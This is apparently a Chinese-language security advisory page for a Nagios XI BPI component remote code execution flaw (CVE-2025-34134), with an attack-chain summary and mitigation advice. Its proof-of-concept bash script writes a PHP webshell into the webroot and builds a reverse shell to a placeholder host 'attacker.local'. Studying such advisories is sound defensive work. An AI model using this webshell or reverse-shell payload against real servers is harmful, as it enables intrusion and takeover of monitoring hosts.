CVE-2025-34134 CVSS 7.2 高危

CVE-2025-34134 Nagios XI BPI组件远程代码执行漏洞

披露日期: 2025-10-30

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-34134

漏洞类型

远程代码执行(RCE)

CVSS评分

7.2 高危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

Nagios XI (Business Process Intelligence组件)

漏洞概述

CVE-2025-34134是Nagios XI中Business Process Intelligence (BPI)组件的一个高危远程代码执行漏洞。该漏洞存在于2024R1.4.2之前的所有Nagios XI版本中，由于对BPI配置参数缺乏充分的输入验证和清理，攻击者可以利用bpi_logfile和bpi_configfile参数实现任意文件写入。当写入的文件位于webroot目录且带有可执行扩展名时，攻击者可以通过Web应用程序触发执行这些文件，从而在Web应用程序用户的上下文中执行任意代码。此漏洞需要管理员级别权限才能利用，成功利用后可获得Web应用程序用户的命令执行权限，并可进一步横向移动控制底层主机操作系统。

技术细节

该漏洞的核心问题在于Nagios XI的BPI组件对管理员可控的配置参数（bpi_logfile和bpi_configfile）缺乏充分的输入验证和路径安全检查。攻击者（需具备管理员权限）可以通过修改这些参数，将文件路径指向Web根目录下的任意位置，并利用BPI配置编辑器的功能写入恶意内容。由于这些写入的文件位于webroot内且可能被Web服务器当作可执行脚本处理（如.php、.phtml等扩展名），当用户通过HTTP请求访问这些文件时，服务器会解析并执行其中的恶意代码。这导致攻击者能够在Web应用程序用户（通常是nagios用户）的上下文中执行任意操作系统命令。攻击者通常会写入一个webshell或反弹shell脚本，然后通过HTTP请求触发执行，建立远程连接并获取服务器访问权限。

攻击链分析

STEP 1

步骤1

攻击者获取Nagios XI管理员账户凭据或会话

STEP 2

步骤2

访问BPI配置编辑器，通过bpi_configfile参数指定webroot内的文件路径

STEP 3

步骤3

构造恶意PHP代码（webshell或反弹shell），通过配置保存功能写入目标文件

STEP 4

步骤4

通过HTTP请求访问写入的恶意文件，触发Web服务器解析执行PHP代码

STEP 5

步骤5

在Web应用用户(nagios)上下文中执行任意命令，实现远程代码执行

STEP 6

步骤6

利用获得的初始访问权限进行横向移动，提权至root或控制整个系统

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

#!/bin/bash
# CVE-2025-34134 PoC - Nagios XI BPI RCE via File Write
# Requires authenticated admin session

TARGET="http://target-nagiosxi.local"
COOKIES="nagiosxi=<admin_cookie>"

# Step 1: Write PHP webshell to webroot via bpi_configfile parameter
PAYLOAD='<?php system($_GET["cmd"]); ?>'
CONFIG_PATH="/var/www/html/nagiosxi/backend/getcmd.php"

curl -X POST "$TARGET/nagiosxi/includes/components/bpi/bpi-config-editor.php" \
  -H "Cookie: $COOKIES" \
  -d "bpi_configfile=$CONFIG_PATH&action=save&config_content=$(echo "$PAYLOAD" | base64)"

# Step 2: Execute command via webshell
curl "$TARGET/nagiosxi/backend/getcmd.php?cmd=id"

# Alternative: Write and execute reverse shell
REVERSE_IP="attacker.local"
REVERSE_PORT="4444"
REV_PAYLOAD="<?php exec(\"/bin/bash -i >& /dev/tcp/$REVERSE_IP/$REVERSE_PORT 0>&1\"); ?>"

影响范围

Nagios XI < 2024R1.4.2

防御指南

临时缓解措施

如果无法立即升级，可采取以下临时措施：1) 限制对BPI配置编辑器的访问，仅允许受信任的管理员使用；2) 在Web服务器配置中禁用webroot目录下.php等脚本文件的执行权限；3) 启用Nagios XI的安全审计日志，监控异常的BPI配置修改行为；4) 使用网络层访问控制，限制对管理接口的访问来源；5) 考虑部署WAF防护规则检测CVE-2025-34134相关的攻击特征。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表